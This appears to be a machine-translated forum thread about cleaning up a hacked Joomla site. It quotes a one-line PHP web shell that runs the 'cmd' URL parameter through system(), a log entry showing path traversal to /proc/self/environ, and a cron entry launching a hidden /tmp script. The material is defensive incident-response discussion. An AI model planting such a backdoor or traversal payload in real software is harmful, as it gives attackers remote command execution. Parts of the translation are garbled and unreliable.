网站被黑客利用?cmd = ls

我运行的Joomla网站前几天被黑了。 黑客把一些文件放到了tmp目录下,并在那里运行了一个HTTP守护进程(至less这是我的主机告诉我的)。 无论如何,我一直在努力清理他们留下的文件,并确保我能做到,但在检查我的日志时,我注意到了www.domain.com/?cmd=ls上的一个命中。 这对我来说似乎很奇怪,所以我试了一下……并且注意到它列出了我站点根目录下的所有文件。 有人可以向我解释为什么发生这种情况,我怎么阻止它? 这似乎是一个巨大的利用,我想立即消除。

更新 :在挖掘我注意到一些额外的行添加到我的Joomla index.php:

 if ($_GET['cmd']!=null) { system($_GET['cmd']); } 

我已经删除了这些内容,但是很想知道攻击者是如何设法编辑这些内容的。 不确定在哪里看,以确保我closures了任何后门。

更新更新 :首先让我说,是的,我意识到在这里采取正确的行动是把网站吹走并从备份恢复。 不过,我宁愿把它作为最后的手段,因为(一)这是一个网站,取决于社区的贡献,我的备份不是最近(我的错,我知道)和(二)我正在一个新的版本,应该很快就绪。 但是因为我似乎在这里得到了一些帮助,所以我会添加一些我发现/为了解决这种情况而做的其他事情。

在我的/ tmp文件夹中发现了一些.kin(或者类似的东西 – 没有记下来并且马上删除它)目录,显然这个http守护进程从哪里运行。 我假设gunzip(下面提到)是这样放在这里的。

在我的error_log文件中,我发现以下可疑条目(“…”是我尝试从这个post中删除path/文件名):

 [04-Jul-2010 09:45:58] PHP Fatal error: Class 'CkformsController../../../../../../../../../../../../../../../proc/self/environ' not found in ... on line 24 [05-Jul-2010 12:31:30] PHP Notice: Undefined index: HTTP_USER_AGENT in ... on line 92 [04-Jul-2010 06:41:52] PHP Warning: rmdir(...) [<a href='function.rmdir'>function.rmdir</a>]: Directory not empty in ... on line 1719 

我已经更新了CKForms组件(它被列为已知的利用我正在运行的版本),以及HTTP_USER_AGENT消息中列出的另一个组件。

在我的统计日志中,我发现同一个IP地址尝试了两次?cmd = ls,所以我阻止了这个IP(在印度尼西亚的某个地方)。

我更新了我的Joomla安装到最新的。

我在我的根目录中find了system.ph和system.php文件,它们有一个gunzip / base64编码的string,我删除了它。

我已经通过安装时间戳最近的所有目录来查看是否存在任何exception文件。

删除指向… / tmp / .kin / up2you> / dev / null 2>&1的cron作业

另外,即使我从备份中恢复,我也会担心,不pipe利用哪个漏洞都会存在,所以根本原因和预防就是我要去的地方。

我坚决不同意Chris S所说的所有文件/目录应该由root拥有。 Unix权限系统有一个原因。

运行Apache / PHP有两种基本的方法。 一个是以www-data用户的身份运行它,并拥有非root用户名所拥有的文件。 Apache作为低特权帐户运行,并且必须被授予对特定目录/文件的访问权才能写入它们。 这就是为什么Joomla有ftp层来弥补这一点。 但是,在共享服务器环境中,所有文件都需要世界可读的事实使得该机器上其他站点的configuration文件很容易被读取。

另一种方式是运行Apache运行suPHP,这是CPanel喜欢的。 在这种情况下,Apache作为一个低权限用户运行,但是所有的PHP请求被交给了一个脚本,将所有权改变为拥有这些文件的用户名。 虽然您现在可以使用Unix权限来防止机器上的其他stream氓脚本浏览您的目录,但是任何受到威胁的PHP脚本都可以作为用户名运行,因此可以修改/修改您的用户名所拥有的任何文件。

由于您对服务器安全性不甚了解,在机器上find隐藏的rootkits等并不是一件有趣的事情。 首先,你必须知道内核是否被利用(除非你正在运行一个非常新的内核,这里的答案是肯定的),以及是否有什么影响。 这种特殊的黑客攻击通常是通过一个被盗用的FTP账户来实现的,在这个账户中他们能够执行脚本。 既然你发现了这个代码,那么也暗示了使用它的“黑客”并不是很复杂。 有很多方法可以隐藏这些代码,并防止日志看到他在做什么。

mojah是正确的。 一旦他们进入,他们尝试从连接到他们的IRCnetworking的/dev/shm/.something或/ tmp运行一个脚本,或者作为底层networking或另一个竞争networking上的接pipe机器人。 您可能会发现一两个脚本正在运行,也许是一个cron条目来重新启动它,以及其他远程shell隐藏在您的Joomla安装。 在/ uploads或/ images目录中查找与现有文件类似的文件。 即img_1034.jpg.php。 他们通常会将自己的漫游器隐藏在多个无法访问networking的地方,以便在login时不会碰到它们,而是将远程弹壳藏在地方,以便他们返回并重新运行脚本,并重新连接到他们的networking。

无论如何,你面临的任务有点棘手。 你有一个网站,你需要保持在线,你缺乏这些情况的一些经验,并且,你只是想让你的网站工作。

通过Joomla的导出function转储数据库,确保它是一个完整的转储。 创build另一个站点并导入转储以validation它。 一旦你确定你有一个好的,可导入的转储,做一个网站的备份。 删除所有文件,重新安装Joomla,基本安装,使用现有的MySQL连接信息 – 它可能相信你正在升级,在这种情况下允许升级。 如果你在某个地方使用VPS,也许让他们给你一个新的图像,然后重新安装。

您的服务器是非常不安全的,可能是黑客攻击的结果。 它需要尽快离线。

在这一点上最好的行动方式是擦拭干净,从备份恢复,并确保它的安全。 除非你擦掉黑客/病毒等,否则几乎没有办法确定你已经摆脱了黑客/病毒等。

我同意Chris S.你太被剥削了。 您需要擦除并从备份中恢复。 而这一次,在你上线之前,你需要非常小心你的写入和执行权限。

一旦攻击者获得了系统级别的访问权限,就不能再信任你的代码了。

目录权限是巨大的。 这个不能太强调。 他们通过漏洞利用程序将代码上传到您的网站,但只有您的代码可以写入本地目录才能完成。 如果它不能,或者它可以写入的本地目录不能被解释或用于托pipe可执行代码,那么可以完成的损害是非常有限的。

我build议在任何地方删除写权限,甚至是属于根目录的权限。 无论如何,唯一可以写的东西是上传目录和任何目录存储你的会话文件。 如果你不允许上传,那么只有会话文件目录,那个应该被locking,因为你可以做到这一点。

您还应该运行常规文件完整性扫描。 不幸的是,如果您没有完整的服务器访问权限,这并不容易。 您仍然可以下载该网站并定期将其与您的备份进行比较。 理想情况下,您应该能够随时覆盖整个网站的备份,而且没有人注意到其中的差异。

正如你所说,由于黑客攻击你的服务器,这个人/小组留下了一个Web服务器,根据他的需要(也被称为Shellbot,通常用Perl / Python编写)进行定制。 这是一个自定义的web界面,旨在允许通过简单的参数给定的命令。

ls是基本的,相对而言是无害的。 它可能也被用来启动其他更危险的命令。

如果是Linux,请尝试使用lsof(lsof -i tcp:80)查看哪些进程正在运行。